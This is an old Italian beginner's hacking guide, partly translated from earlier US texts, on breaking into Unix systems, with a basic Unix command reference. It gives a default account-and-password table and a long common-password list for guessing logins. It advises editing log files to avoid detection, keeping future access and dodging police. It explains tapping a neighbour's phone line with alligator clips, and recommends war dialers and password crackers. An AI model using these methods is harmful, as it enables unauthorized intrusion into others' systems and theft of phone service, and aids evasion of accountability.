GUIDA HACKER

GUIDA ITALIANA ALL'HACKING.    INDICE:  -Responsabilita' -Considerzioni personali -Hacking?!?!?! -Le dieci regole dell'hacking -Hackerare uno Unix *default login *password list *backdoors -Programmi utili  -Virus, Worm e Trojan Horse -Errori -Account in generale -Comandi Unix -HACKING *Una volta dentro??? -Sniffer e sniffing -Sistemi operativi...una descrizione breve -Sistemi irresponsabili -Phreaking in Italia *Cabine telefoniche *Tessere telefoniche -Note finali ( newsgroup, testi, ecc. )    Responsabilità  Usa queste informazioni a TUO rischio e pericolo. Io, InfectedMachine e qualsiasi altra persona mi abbia aiutato a scrivere questa guida non si assumerà NESSUNA responsabilità per l'uso, l'utilizzo o l'abuso di questo testo. Le seguenti informazioni sono state scritte SOLAMENTE per scopo educativo e informativo e NON possono essere usate per scopi illegali. Leggendo questo file tu accetti i seguenti termini: Comprendo che usare le seguenti informazioni è un atto illegale. Capisco e accetto di essere il SOLO responsabile delle mie azioni. Se vengo messo nei guai da queste informazioni NON incolperò o tirerò nei guai colui ( InfectedMachine ) che ha scritto questo testo, ogni altro suo collaboratore come qualsiasi persona mi abbia dato questo file. Io capisco che le infomazioni qua contenute sono SOLO per scopo di educazione. Questo file può essere usato per controllare la sicurezza del TUO sistema.    Considerazioni personali:  Mi sono arrivate parecchie mail in cui mi si diceva che quello che ho scritto e' stato scopiazzato da riviste e da faq sparsi in tutta la rete. Questo e' completamente vero! Non ho voluto fare questa guida basandomi sulle mie conoscenze, ho voluto solamente tradurre i documenti principali che chiunque riuscirebbe a trovare facendo alcune semplici ricerche. Quindi in questa guida non troverete ( forse ) nulla di nuovo se avete gia letto documenti come la guida all'hacking di Sir Hackalot o la guida dei novizi della LOD ( o altri ancora ). Io ed alcuni miei amici stiamo scrivendo una rivista chiamata "SystemDown" nella quale trattaremo gli argomenti dal nostro punto di vista e con le nostre conoscenze; quindi se volete leggere qualcosa che non e' tratto dalle varie guide sparse per la rete vi consiglio di tenere d'occhio il sito dal quale avete scaricato il testo che state leggendo. Questa guida inoltre e' stata scritta APPOSITAMENTE per i principianti e cioe' per quelli che ancora ne sanno poco o nulla; i piu' esperti ( ma credo che esperti sia anche troppo...diciamo i piu' informati ) tra di voi corrono il rischio di trovare questa guida di scarsa utilita'... Io vi ho avvisato; vi prego non mandatemi mail dicendomi: "ma quella tua guida in italiano la credevo piu' professionale" o cose del genere ok? Un'ultima cosa: Vorrei ringraziare una persona che sta permettendo a questa guida di rimanere online: JADER ti ringrazio tantissimo; senza il tuo aiuto molto probabilmente questa guida l'avrei letta solo io!   Hacking?!?!?!  L' hacking è l'atto di penetrare nei sistemi per guadagnare conoscenze sul sistema e su come questo lavora. Quest'azione è illegale perchè noi guadagniamo l'accesso a tutti i dati e li possiamo anche prendere. Noi veniamo puniti per cercare di capire. I vari governi del mondo spendono un'esagerazione di soldi per cercare di arrestarci quando invece potrebbero investirli per cercare di catturare persone di gran lunga più pericolose degli hackers. In giro ci sono assassini, stupratori, maniaci e terroristi e sono queste le persone che i governi dovrebbero catturare, non gli hackers. Al contrario di quello che dicono i governi i veri hackers non sono pericolosi; tutto quello che vogliamo è capire, imparare e forse un giorno le persone del mondo riusciranno a capirlo. Vorrei anche fare notare una piccola differenza tra gli hackers e i crackers. Per hacker si intende quella persona che, come abbiamo detto sopra, penetra nei sistemi informatici solamente per capire come essi funzionino realmente; i crackers sono coloro che penetrano nei sistemi informatici e non solo, per causare danni o rubare informazioni. La gente "normale" non conosce questa differenza e tende ad associare all'hacker il classico giovane ragazzo con i capelli lunghi, anarchico che seduto davanti allo schermo del suo computer aspetta che il programma pirata che lui sta usando gli consenta l'accesso al sistema bancario della città per poter rubare soldi in grandi quantità. Fino a che la gente non capirà che gli hackers non sono cattivi come si intende, la polizia li continuerà a perseguitare come assassini o terroristi o come criminali della peggior specie.   Perchè quindi hackerare un sistema?  Come ho detto sopra noi penetriamo nei sistemi per ottenere conoscenze sul sistema stesso e su come questo funziona e lavora. Noi NON vogliamo danneggiare in alcun modo i sistemi in cui penetriamo. Se tu danneggi un sistema, tu puoi essere individuato ed arrestato. Se invece tu non danneggi nulla è molto difficile ( ma non impossibile! ) che ti riescano a prendere senza spendere molti soldi ( e non tutti, governi e grandi industrie a parte, li possiedono ;-) ). I novizi è meglio che leggano qualsiasi cosa sull'hacking prima di compiere l'atto vero e proprio poichè più conoscenze si hanno, meglio si può operare. E' molto utile anche una buona conoscenza dei linguaggi: c, c++ e assembler oltre ad una totale conoscenza del sistema Unix.   LE 10 REGOLE DELL'HACKING:  1) Non dannegiare mai un sistema. Se lo fai potresti fregarti con le tue stesse mani; 2) Non alterare nessuno dei file di sistema eccetto quelli che devi modificare per non essere individuato ( i log file ) e quelli che ti permetteranno di avere accesso a quel computer in futuro; 3) Non distribuire i tuoi progetti sull'hacking a nessuno a cui non affideresti la tua vita; 4) Quando posti sulle news, su un bbs ( Bulletin Board System ) o quando chatti su IRC sii più vago possibile quando parli dei tuoi futuri progetti riguardo all'hacking. Ogni cosa può essere monitorata dalle forze dell'ordine; 5) Non usare mai il tuo vero nome o il tuo vero numero telefonico quando posti su un bbs, sulle news oppure su IRC; 6) Non lasciare i tuoi manipolamenti ( tranne quelli necessari ) su qualsiasi sistema in cui penetri; 7) NON hackerare i computer dei governi in particolar modo del TUO governo; 8) Non parlare dei tuoi progetti riguardo all'hacking quando parli sulla tua linea telefonica di casa; 9) SII PARANOICO. Metti tutto il materiale riguardo all'hacking in posti sicuri; 10) Per diventare un vero hacker, tu devi hackare. Tu non puoi sederti a leggere un file di testo come questo e pensare di essere un vero hacker.    Strumenti basici di partenza:  Prima di tutto trova una copia dei vari scompattatori esistenti: ARJ; ZIP; sono i due più importanti; su internet li si può trovare facilmente con un pò di ricerca. A questo punto, su qualsiasi guida all'hacking reperibile sulla rete, ti consigliano di trovarti un "prefix scanner" cioè uno scanner di prefissi telefonici ( detto anche war dialer ) che ti permette di trovare i numeri telefonici che possono agganciare la chiamata di un modem; purtroppo visto che l'Italia non è l'America noi non abbiamo dei programmi adeguati alle nostre linee ( sebbene sia possibile crearne uno usando - come mi hanno detto alcuni - il visual basic ). Poco male. Sinceramente non ho verificato se gli scanner di prefissi americani funzionano anche sulle nostre linee; penso di provarci un giorno e comunque non è fondamentale: ci sono altri metodi oltre a quello. Se proprio vuoi prenderne uno rimedia "Autoscan" ( chiamato anche A-Dial ) oppure "ToneLoc".   Regole basiche per hackerare uno UNIX:  Il sistema operativo UNIX è il più diffuso in assoluto su Internet poichè è stato progettato esclusivamente per le reti. L'emulazione dello UNIX sotto il dos si chiama LINUX ed è disponibile la vesione "slackware" su internet; provate su <a href="ftp://ftp.cdrom.com/">ftp.cdrom.com</a>. Ci sono tre metodi principali per hackerare un sistema: 1) Default Login  2) Password List 3) Backdoors  Solitamente il login è di 1-8 lettere mentre la password di 6-8. Lo UNIX e' il piu' diffuso sistema operativo su internet per la sua ottima gestione delle reti; sebbene questo registra le chiamate ( non sempre! ) e le memorizza nei file utmp, wtmp e btmp raggiungibili in /etc oppure /var/adm ( che sono usati dai comandi login, rlogin, su, remsh, rexec ) e' ottimo per provare un primo inserimento. Piccola parentesi: Vi sono dei comandi per visualizzare gli ultimi login e cioe': last ( restituisce l'ultimo login ) lastb e blast ( restituiscono gli ultimi login falliti ). Occhio al file syslog che registra connessioni andate a buon fine e non. Un consiglio: Se proprio non riuscite a rimediare lo Unix per poterlo montare su una vostra macchina o su di una partizione di quest'ultima, installate il sistema operativo "LINUX" poichè alcuni comandi non esistono sotto windows ( 95 o 3.1 ) o sotto dos. Sebbene il Linux sia un sistema un pò "rognoso" nell'installazione ( per i principianti ), permetterà alcune manovre ( chiamiamole così ) impossibili con il dos. Appena dentro un sistema in genere si vede un simbolo di questo tipo: $ ( oppure qualsiasi altro speciale simbolo di quel sistema ). Se tu inserisci il comando "man" ti apparirà una lista di tutti i comandi possibili nel sistema.   1) DEFAULT LOGIN:  Questo è il primo dei tre metodi di intrusione in un sistema e consiste nell'inserire una lista di account seguiti da password comuni, ovvero di quelle password che i sysop ( system operator: operatori di sistema cioè coloro che controllano tutto il sistema ) più ingenui mettono per controllare i propri accessi. Prima di incominciare ad inserire le password e gli account, dovete scoprire tutte le informazioni possibili sul bersaglio tramite comandi come whois, finger, showmount. Questi sono tutti comandi dello Unix che danno informazioni su di un utente o su un sistema. Usate questi comandi anche sull'account root.   ACCOUNT PASSWORD   root root, system, sysop, nomesistema, nomepersona quando il root è fingerato ( il finger è uno strumento per prendere informazioni su qualcosa collegato ad internet ), none, provare anche le password della lista sotto. Molto importante! sys sys, system, manager, nomedelsistema, vedi root daemon daemon, background, none uucp uucp, vedi guest tty tty test test unix unix, test bin bin, system, vedi root adm adm, admin, sys, vedi root admin adm, admin sysman sysman, sys, system sysadmin sysadmin, sys, system, admin, adm who who, none learn learn uuhost uuhost guest guest, user, anonymous, visitor, bbs, nome del sistema o  dell'organizzazione. host host nuucp nuucp, vedi uucp rje rje, none, vedi root games games, player sysop sysop demo demo, nomedelsistema, none visitor vedi guest anonymous vedi guest anon vedi guest user vedi guest nomedelsistema vedi guest student student, vedi guest ftp ftp, ftpuser, vedi guest ftpuser vedi ftp xxcp xenix system manager nobody nobody, none field service archie archie, none qarchie qarchie, none whois whois, none bbs nomedelsistema, bbs, waffle, none services nomedelsistema, services, none info nomedelsistema, info, none new nomedelsistema, new, none newuser nomedelsistema, newuser, none ingres none, ingres, nomedelsistema date date, none lpq lpq, none time time, none weather weather, forecast, none forcast vedi weather help help, none test nomedelsistema, test, none waffle vedi bbs trouble trouble, vedi root lp lp, printer, print, vedi root unmountsys unmountsys, unmount, vedi root setup setup, vedi root makefsys makefsys, vedi root sysadm sysadm, sys, system, vedi sys-adm-root powerdown powerdown, vedi root mountfsys mountfsys, vedi root checkfsys checkfsys, vedi root  In poche parole tenta di trovare un account che abbia il nome di un servizio ed aggiungergli una password con un altro nome di servizio oppure con qualcosa che abbia a che fare con il sistema ( nome del proprietario quando si fà il whois, nome del sistema, ecc. ).   2) PASSWORD LIST detto anche PASSWORD GUESSING  Un altro metodo per inserirsi in un sistema è quello di "rubare" la password di un altro utente. Per prendere un valido account a cui dare una password bisogna "fingerare" ( usare i vari comandi detti sopra per ottenere le informazioni su di un utente o un sistema ) l'utente e leggere ( anche se criptato ) il passwd file; è meglio se il finger viene fatto durante il giorno. Una volta trovato l'account ( tramite il finger oppure nel passwd file), bisogna inserire una alla volta le password della lista sotto riportata per cercare di individuarne una giusta e per poter così accedere al sistema.  Lista delle più comuni password ( in America ):  100 666 6969 AAA aaa academia acdc ada adrian aerobics aids air airplane albany albatross albert alex alexander algebra alias aliases alpha alphabet ama amato america amerigo amore amorphous amy analog anarchy anchor andromanche andy andrea angerine anna annabella annalisa anne anumal animals answer anthropogenic anvils anything areato aria ariadne arrow arthur asshole athena atmosphere attacker attackers aztecs azure bacchus badass bailey banana bananas bandit banks barber baritone bass bassoon bastard batman beater beatles beauty beaver beethoven bella bellissima beloved benz beowulf berkley Berkeley berlin berliner beryl beta beverly bicameral bisessuali bisex black blacklotus blu blue bob boston brenda brian bridget broadway brown bumbling burgess caffe caffè camel campanile cantor cardinal cardinale carmen carolina caroline cascades castle cat cayuga cazzo cazzone cd celtics cert cerulean change charles charlie charming charon chester cigar classic clusters cocaina cocaine coffee coke collins comrade comrades computer comrade condo condom cookie cooper cornelius couscious cracker crackers create creation creator creosote cretin cyan daemon dancer daniel daniels danny dark dave deb debbie deborah december defoe deluge desperate develop diet dieter digital digitale discovery disney dog dragon dragone drought duncan dylan eager easier easy eatme ecco eccomi edges edinburgh edwin edwina egghead eiderdown eileen einstein elephant elizabeth ellen elsewhere emerald engine engineer enterprise enzyme eretiny ersatz establish estate etere etereo etero euclid evelyn exadecimal extension fairway felicia fender fermat fibre fidelity figa finite firenze fishers flakes float flower flowers foolproof football foresight format forsythe fourier fred friend frighten frocio fuck fufi fun fungible gabriel gardner gardener garfield gauss gay george gertrude giants gibson giga ginger glacier gnu golf golfer gorgeous gorges gosling gouge graham green gryphon guerra guest guitar gumption gunsnroses guntis hack hacker hackers hamlet handily happening hard hardrock harmony harold harvey hashish heavy heavymetal hebrides heinlein hello help herbert hiawatha hibernia hiv hollywood holmes honey horse horus hutchins imbroglio imperial include ingres inna innocuous inside id ip irishman ironmaiden isis italia jack jackdaniels japan jessica jester jets jfk jixian yngwie johnny joker joseph joshua judith juggle julia juventus kathleen kbyte kbites kennedy kermit kernel kernel32 kevin king kirk kirkland knight krypto kryptonite kult kurt ladie ladle lambda lamination larkin larry lawrence lazarus lebesgue led lee leland leroy lewis light linux lisa list lista lists listato lorenzo louis love low lower lowered lynne mac macintosh mack mage maggot magic magica magiche mago magù maiden malcolm malmsteen marco marlboro mark markus marty marvel marvin master maurice mega megabyte megabytes mel mela mellon merlin metal metallica mets michael michelle mike milan milano minimum minsky mit modena mogul moose morley mozart nancy napoleon nasa ncsc nepenthe ness network newton next none noxious nutrition nygiants nyjets nyquist ocean oceano oceanography ocelot olivetti olivia omosessuale open oracle orca orwell osiris outlaw oxford pacific painless pakistan pam paper papers parma pascoli passwd password passwords pat patricia penguin peoria percolate persimmon persona pete peter phiber phiberoptick philip phoenix phreak pierre pinkfloyd pirata pizza plover plugh plymouth polynomial pondering pork poster praetorian praise precious prelude prince princeton protect protocol protocollo protozoa pumpkin puneet puppet Purdue purdue rabbit rachmaninoff rainbow raindrop raleigh random rascal read reading reagan really rebecca red redder remote repubblica republic rick ripple robot robotics rochester rolex rollingstone roma romano ronald rosebud rosemary roses router rsa ruben rules ruth sal satan satana saxon scamper scheme scott scotty secret send sender sending sensor serenity sex sexpistols shark sharks sharon sheffield sheldon sherlock shit shiva shivers shuttle sid sidvicious signature simon simona simple singer single sirio smile smiles smooch smother snatch snoopy soap socrates sorriso sossina sparrows spit spring springer squires sri star starwar starwars stilskin strangle strangolare stratford stregone strozzapreti stuttgart subway success summer super superman superstage support supported surfer suzanne swearer symmetry tangerine tape target tarragon taylor tcp tcp-ip tcp/ip tcpip telephone temptation thailand TheNic thenic tiger toggle tohack tomato topography tortoise toyota trails train trains transfer transfering trasferimento trash trivial trofei trofeo trombone tron trophy trophies trustno1 TrustNo1 trustnoone TrustNoOne tubas tuttle u2 umesh unhappy unicorn unix unknow urchin utility Uunet vasant veleno venezia venom vertigo vicious vicky village virginia vittoria war warcraft warcraft2 warren water weenie whatnot whiting whitney will william williamsburg willie winston wisconsin wizard wombat woodwind wormwood xyzzy yaco yacov yang year years yellowstone yosemite zap zimmerman zorro zupperman z zz zzz  -----------------------------------------------------  Ci sono nel mezzo anche parole italiane che mi ha passato un mio conoscente e che dice siano maggiormente usate...mi voglio fidare... :-))   3) BACKDOORS  Le backdoors sono quelle password che il programmatore del sistema mette per avere accesso in futuro a quel dato computer e che solamente lui conosce. Per cercare di individuare la password bisogna fare lunghe ricerca sulla persona che ha impostato tutto il sistema: che squadra tifa, quali sono i suoi hobby, i suoi idoli, il nome dei vari componenti della famiglia, le date di nascita, queste ultime al contrario o mischiate tra loro, ecc. Tanto per capirci se avete visto il film "wargames", il protagonista passa intere giornate a studiare vita morte e miracoli del programmatore del sistema oppure anche nel più recente film "hackers" i due protagonisti cercano addirittura gli appunti gettati via nella spazzatura pur di trovare una password o qualcosa che li possa aiutare. Sicuramente questo è il sistema più difficile ma credo che dopo una lunga ricerca sia anche il più sicuro poichè poche persone ( cioe' quelle furbe ) inseriscono come password qualcosa che non gli è famigliare. In genere tutti gli user che si connettono ad internet usano nomi che riescono a ricordarsi facilmente tipo una data di nascita, il nome della ragazza o del giocatore preferito o anche qualcosa di meno evidente ma sempre e comunque legato a loro e che difficilmente potrebbero scordarsi. Del resto romperebbe abbastanza le palle dovere cambiare la propria password perchè ce la siamo scordata no?  Ci sono altri sistemi per penetrare in un computer ma sono molto più complessi di questo anche se magari più efficaci. Due tra i tanti sono l'IP SPOOFING e successivamente a questo l'Hijacking. Ne parlerò più avanti.  Ora, se volete essere veramente paranoici ( meglio esserlo che fregarsene ) e avete paura ad hackerare dalla vostra linea di casa ( comprensibile per chi non l'ha mai fatto ), potreste, se avete le opportunità e i mezzi, collegarvi ad una cabina telefonica tramite un computer portatile oppure collegare il vostro computer alla linea telefonica del vicino di casa. Nel primo caso purtroppo esistono pochissimi documenti ( per non dire nessuno ) sul phreaking ( cioè l'atto di telefonare gratis beffando le compagnie telefoniche ) in Italia e poichè il sistema telefonico italiano funziona diversamente da quello americano ( anche se devo dire che non ho mai approfondito veramente l'arte del phreaking ) poche possono essere le conclusioni. Se non sapete come trafficare con le cabine telefoniche vi consiglio di provare a fare un collegamento tra i modem di tipo vecchio, cioe' quelli in cui si doveva appoggiare la cornetta sull'apparecchio, e uno di tipo nuovo; questa e' solo una mia teoria e sto raccogliendo informazioni in questi giorni. Nel secondo caso, si farebbe certo prima che studiare il mezzo di connettersi ad una cabina telefonica però c'è da dire che il vicino di casa potrebbe scoprire dalla bolletta telefonica che qualcosa non và...state SEMPRE attenti a quel che fate. Comunque anche in questo secondo caso vi serve un portatile: Prendete i cavi che escono dal modem e tagliate via la parte di plastica alle estremità, trovate vicino alla casa della vittima la scatolina dove vanno a finire i cavi telefonici uscendo dalla casa ed apritela. Dopo che vi siete procurati un paio di alligator clips ( i cavi che hanno il beccuccio in fondo a forma di bocca di coccodrillo ) collegate il cavo rosso del vostro modem a quello rosso del clip e quello verde a quello verde. Poi connettete i cavi in questione con quelli rossi e verdi che escono dalla cassetta e il gioco dovrebbe essere fatto...controllate che vi dia la linea e siete ok!   PROGRAMMI UTILI  Ci sono dei programmi che si rendono indispensabili in questo campo: Il primo è il ToneLoc oppure l'A-Dial o qualsiasi altro war dialer. Poi oltre agli scompattatori sono utili anche i seguenti programmi: Il SATAN ( o SANTA ) è un programma che gira sotto macchine Unix e sue emulazioni e richiede perl5.0, un browser ( netscape và bene ), 32 MB di ram; questo programma consente l'analisi di reti e sottoreti di un sistema per trovare falle e aperture. E' stato progettato per poter trovare ingressi non controllati nei sistemi ed eventualmente chiuderli. E' stato usato ( oltre a questo nobile scopo ) da un certo signore chiamato Kevin Mitnick il quale ha fregato programmi segreti del governo, una cosa tipo 20.000 numero di carte di credito e chi più ne ha più ne metta. Un altro programma simile al SATAN è l'ISS che lo precede come data di uscita su internet. L'Internet Security Scanner funziona in modo simile al SATAN ma non sò dire che requisiti voglia per girare. Se vi siete accorti che qualcosa nel vostro sistema non và potete usare due programmi per vedere se il SATAN o altri netscanners ( esaminatori di reti ) vi hanno fatto una "visitina". Uno è il GABRIEL, l'altro il COURTNEY che sono due strumenti che riescono a capire se si è stati sottoposti all'attacco del SATAN. Un altro programma indispensabile è il crack jack ( o crackerjack ) oppure il Brute. Questi due programmi comparano le password di una lista, che voi avrete compilato prima in un file di testo, con quelle del passwd file cercando di trovarne una uguale per poter così usufruirne al momento del login. Attenzione perchè possono solo decifrare le password criptate col metodo DES, NON quelle shadowed. Una cosa: chi ha detto in giro che ha decriptato il passwd file racconta solo un mucchio di balle perchè non è possibile decriptarlo. Al massimo si può, utilizzando i programmi sopra citati comparare una lista di password e trovarne una ( o più se si è MOLTO fortunati ) giusta. Altri programmi utili possono essere il pgp ( Pretty Good Privacy ) e il pgpcrack. Il primo serve per criptare dei messaggi in modo che nessuno ( tranne il ricevente con la giusta chiave ) possa capire. Questo programma ha, diciamo, fatto un pò di confusione su internet poichè riusciva a criptare i messaggi con una sicurezza quasi totale e i militari ( soprattutto americani ) non erano un gran che contenti di questa cosa. Il secondo programma, pgpcrack, serve per l'opposto: crakkare i messaggi criptati col il pgp ( vedi sotto ). Anche qua bisogna comparare una lista di password con il file pgp a meno che non si conosca un pò di assembler il che ti potrebbe permettere ad esempio di scrivere al posto della lista di password la parola Random e ciò ( dopo aver appositamente modificato il programma ) ti permetterebbe di fare una scansione di tutti i caratteri ascii.  Ho sentito dire che il pgpcrak non servirebbe a nulla...io non ho sperimentato di persona i risultati e non posso confermare o smentire tale voce. Lascio a chi si intende di più di chiavi criptate il compito di dare una risposta a tutti quelli che la cercano.  Apro una piccola parentesi su tre parole che forse avrete sentito dire in giro su internet: Virus, Trojan Horse, Worm che tradotti sarebbero virus, cavallo di troia e verme.  VIRUS  Questo è un programma indipendente che riesce a riprodursi. Può attaccare gli altri programmi e può creare copie di se stesso. Può danneggiare o corrompere i dati su di un computer o calare le performance del vostro computer utilizzando risorse come la memoria oppure lo spazio libero sul disco fisso. Alcuni virus scanner ( anti-virus ) individuano alcuni virus. NESSUN anti-virus individua tutti i virus conosciuti e non ti può proteggere quindi da essi. Avevo letto da qualche parte una frase che era abbastanza significatica sia in questo caso che nel caso dell'hacking: "...ricorda, le forze dell'ordine fanno passi avanti nella sicurezza dei sistemi, scoprono nuovi mezzi per bloccare i nostri attacchi e scoprono nuovi trucchi per scovarci ed arrestarci. Il loro unico problema è che la tecnologia non si espande solo per loro..."  TROJAN HORSE ovvero IL CAVALLO DI TROIA  Chi non sa cos'è il cavallo di Troia? Spero che pochi non sappiano cos'è. Comunque era quell'inganno che dei gran cattivi ragazzi avevano usato per portare morte all'inteno di una città nella quale sembrava impossibile entrare. Un TROJAN ( abbrevio il nome ) da computer è molto simile. E' un programma che, con funzioni non autorizzate, si nasconde dentro un programma autorizzato. Un trojan ha diverse funzioni...ad esempio può mandarti tutte le password che vengono digitate in un giorno al tuo indirizzo di posta elettronica e contemporaneamente può cancellarsi da solo. Se non è intenzionale ( ovvero non viene immesso nel sistema da un hacker ) questo viene chiamato bug ( cito una storia che mi ha detto un mio amico, RaggedRobin..."per chi non sapesse perchè viene usato il termine bug per indicare un errore in un sistema, deve sapere che quando avevano inventato il primo computer, che era grande come una stanza, tra i suoi circuiti un giorno si infilò una cimice che lo mandò fuori uso e da allora i difetti di un sistema vengono chiamati bug cioè insetto..." ). Alcuni anti-virus individuano alcuni trojan ma come nel caso dei virus, nessuno può sentirsi al sicuro poichè per ogni nuova scoperta in campo di protezione ne viene fatta una nel campo dell'attacco. Per maggiori dettagli sui cavalli di troia vi rimando al primo numero di "SystemDown" nel quale ne parla RaggedRobin nel suo articolo.  WORM cioè VERME  I worms ( i vermi ) sono programmi simili ai virus che si riproducono e si copiano di file in file e di sistema in sistema usando le risorse di quest'ultimo e talvolta rallentandolo. La differenza dai virus è che mentre loro usano i file per duplicarsi, i vermi usano i networks. Nota: sono stati creati, credo e non vorrei dire una balla, da un certo Robert Morris Jr.  ERRORI:  Quando inserisci un account non valido oppure una password non valida ( oppure entrambi ) tu dovresti vedere un messaggio di errore. In genere è qualcosa di simile a: Login Incorrect. Quando il computer ti dice questo, significa che hai sbagliato una delle due cose ma ( per ovvie ragioni ) non ti dice qual'è. Quando tu sbagli il login, la chiamata viene registrata in appositi file ( error log ) che registrano chi è l'utente e da dove sta chiamando per puro scopo di sicurezza. Altri tipici errori sono: "Cannot change to home directory" oppure "Cannot change directory". Questo significa che la home directory ( la directory dell'account in cui ti sei inserito ) è la root directory per quell'account. Tanto per capirci è come ritrovarsi sul dos in c:\ e sai che indietro non puoi andare perchè non c'è nulla, l'unica differenza è che sullo unix non ci sono c:\ oppure a:\ quando parti con il sistema ma /homedirectory. Piccola nota: nello unix è usato questo simbolo per delimitare le directory / e non \. Molti sistemi dopo che ti hanno dato questo messaggio ti sconnettono automaticamente ma altri ti dicono semplicemente che ti hanno messo nella root directory ( / ). Un altro errore è "No Shell". Significa che nessuna shell ( programma di interfaccia con il kernel del sistema che esegue tutti i comandi ) è stata impostata per quell'account. Per maggiori dettagli vedi oltre. Come sopra, alcuni sistemi ti sconnettono dopo questo messaggio, mentre altri ti dicono di usare una shell regolare dicendo "Using the bourne shell" oppure "Using Sh".  ACCOUNT IN GENERALE  Il sistema unix ha due livelli di sicurezza: potere assoluto e user regolare. Quelli che hanno potere assoluto sono i root, i system operator, gli amministratori di sistema in altre parole. Lo unix è impostato ( per i livelli di sicurezza ) su numeri: associa un numero con un account; alcuni account possono avere lo stesso numero. Il numero che definisce i poteri di un root ( amministratore di sistema ) è 0. Qualsiasi altro account abbia un UID ( User ID ) di 0, ha i privilegi di un root. Tenete in considerazione che il livello normale di uno user è 100.  SHELL  La shell è un programma eseguibile che si "associa" ad un utente quando si inserisce ( normalmente o irregolarmente ) in un sistema. Questa shell può essere qualsiasi programma eseguibile definito nel passwd file. Ogni login ha una shell unica. Le shell sono interpreti dei nostri comandi e cioè provvedono a fare da tramite tra noi e il sistema vero e proprio. Tanto per capirci le shell sono qualcosa di simile al "command.com" del dos. Alcuni esempi di shell sono: -sh: Questa e la "bourne shell" e si potrebbe definire il "command.com" dello unix. -csh: Questa è la "C" shell e ti permette di inserire comandi simili al "C". -ksh: Korn Shell. Un altro interprete di comandi. -tcsh: Permette l'editing dei comandi. E' usata al MIT. -vsh: Visual Shell. Questa è come il windows per il dos cioè un interprete grafico dei comandi. -rsh: Restricted Shell o Remote Shell. Spiegato dopo. Quando ti inserisci in un sistema la shell ti dà un simbolo e da questo puoi capire a che livello ti sei infiltrato ( spero l'abbiate capito prima di questo simbolo! ). $: In genere il dollaro è il simbolo che si associa all'user regolare senza alcun potere. #: Questo invece si associa in genere ai root.  CARATTERI SPECIALI:  Control-D: Fine di un file. Quando usi la mail oppure un editori di testi, questo comando capisce quando sei arrivato alla fine. Se sei nella shell ( nel prompt dei comandi normale ) e premi control-d tu ti disinserisci dal sistema.  Control-J: Su alcuni sistemi questo è come premere "invio". @: Questo qualche volta è "null" che tradotto significa "nullo, qualcosa di nullo". ?: Può rappresentare una lettera ( come * nel dos ). Ad esempio se tu inserisci qualcosa tipo b?b, lo unix capisce che può essere bob, bib, bub ed ogni altra lettera e numero da 0-9 e a-z. *: Questo rappresenta ogni numero di caratteri ed è simile a quello sopra descritto. Se inseriamo infatti quacosa tipo Hi* può voler dire Hit, Him e qualsiasi cosa parta per Hi. Se invece si inserisce H*l rappresenta qualsiasi cosa parte per H e finisce per l. [ ]: Specificano un campo. Se diciamo b[o,u,i]b lo unix capisce bob, bub, bib. Se gli dico b[a-d] lo unix pensa a qualsiasi lettera compresa nel campo ( cioè in questo caso da a fino a d ). In qualsiasi caso lo unix è molto "SENSIBILE" e quindi inserire D al post che d non significherà la stessa cosa. Occhio quindi ad inserire le password giuste. ;-)  COMANDI DA USARE SOTTO LO UNIX:  ls: Questo elenca il contenuto delle directory ( è uguale a dir nel dos ).  cat: Questo comando stampa a video il contenuto di un file. Può essere usato sui file di testo.  cd: Cambia la directory come nel dos tranne per il fatto che per tornare indietro di una directory non bisogna fare cd.. ma cd .. ( cioè separare di uno spazio il cd dai puntini ). Per il resto è uguale al dos.  cp: Copia un file. Sintassi "cp dalfile alfile"  mv: Questo rinomina un file. Sintassi "mv vecchionome nuovonome".  pwd: Dà il nome della directory in cui ti trovi.  rm: Cancella un file. Sintassi "rm nomefile" oppure "rm -r nomedirectory".  write: Manda una chat ad un altro user. Sintassi "write nomeuser"; per uscire dal programma write digitare control-d.  who [w, who, whodo]: Dicono chi è online cioè chi è collegato alla macchina sulla quale fai who. Se al fianco del nome dello user c'è un + significa che puoi usare il comando write su di lui.  man: Ti stampa a video l'aiuto sui comandi che vuoi. Sintassi "man nomedelcomando"; ad esempio "man who". Questo comando deve essere seguito dal comando che si vuole consultare. Ad esempio man -k ricerca i comandi che hanno a che fare con la keyword.  stty: Setta le caratteristiche del tuo terminale.  sz, rz: Manda e Riceve ( send o receive ) con lo zmodem  rx, sx: Manda e Riceve con lo xmodem.  rb, sb: Manda e Riceve via batch ymodem. Questi 6 programmi possono e non possono esserci su di uno unix.  umodem: Manda e riceve con lo umodem. Esempio di trasmissione: $ sz nomefile ready to send... $ rz nomefile please send your file.... ..etc..  ed: Editor di testi. Sintassi: "ed nomefile". Alcune versioni ti possono dare un prompt tipo "*" altre non lo fanno. Il piu' comune, comunque, e' il "vi".  mesg: Cambia il permesso o no di ricevere chat da altri utenti ( il + spiegato sopra nel comando write ).  cc: Il compilatore C.  chmod: Cambia i diritti di un file. Sintassi:"chmod mode nomefile". Ad esempio chmod a+r newtext: Tutti possono leggere newtext perchè a=all r=read. Questo è comunque spiegato oltre.  chown: Cambia il possessore e il gruppo di un file. Sintassi "chown possessore (owner) nomefile".  chgrp: Cambia il gruppo ( spiegato dopo ) di un file. Sintassi "chgrp group file"  finger: Stampa a video le informazioni basiche su un account. Sintassi: "finger nomeuser".  grep: Cerca un qualcosa dentro un file. Sintassi "grep pattern file".  mail: Questa è una utility molto interessante e utile. Al contrario del nome esistono molte versioni della Mail come ad esempio ELM, MUSH e MSH. Il programma basico della mail è comunque chiamato "mail". La sintassi e: "mail <a href="mailto:nomeuser@indirizzo">nomeuser@indirizzo</a>" oppure "mail nomeuser" oppure "mail" oppure "mail addr1!addr2!addr3!user" comando "mail <a href="mailto:nomeuser@indirizzo">nomeuser@indirizzo</a>" è usato per mandare una mail a qulcun'altro su di un altro sistema che solitamente è un altro unix ma anche dos e vax possono ricevere posta dallo unix. Quando usi "mail <a href="mailto:nomeuser@indirizzo">nomeuser@indirizzo</a>" il sistema dove sei DEVE avere uno "smart mailer" ( conosciuto come smail ) e deve avere quello che noi chiamiamo sistem maps. Lo smart mailer così può trovare l'indirizzo e mandare così la mail. Per le macchine locali basta che digiti "mail nomeuser" dove nomeuser è il login a cui vuoi mandare la mail. Scrivi il tuo messaggio poi premi control-d. Per leggere le TUE mail digita "mail". Ad esempio:  $ mail  From McKrak ............................. To Inf ........................ Subject: bene ora........................  Arghhh!  ?  Il ? è un prompt che aspetta un comando: d - delete ( cancella ) f nomeuser - manda allo user w fname - salva il messaggio con intestazione nel file q - quit / update mail x - quit ma non cambia nulla m nomeuser - mail allo user r - reply  [ invio ] - leggi il prossimo messaggio + - vai avanti di un messaggio - : torna indietro di un 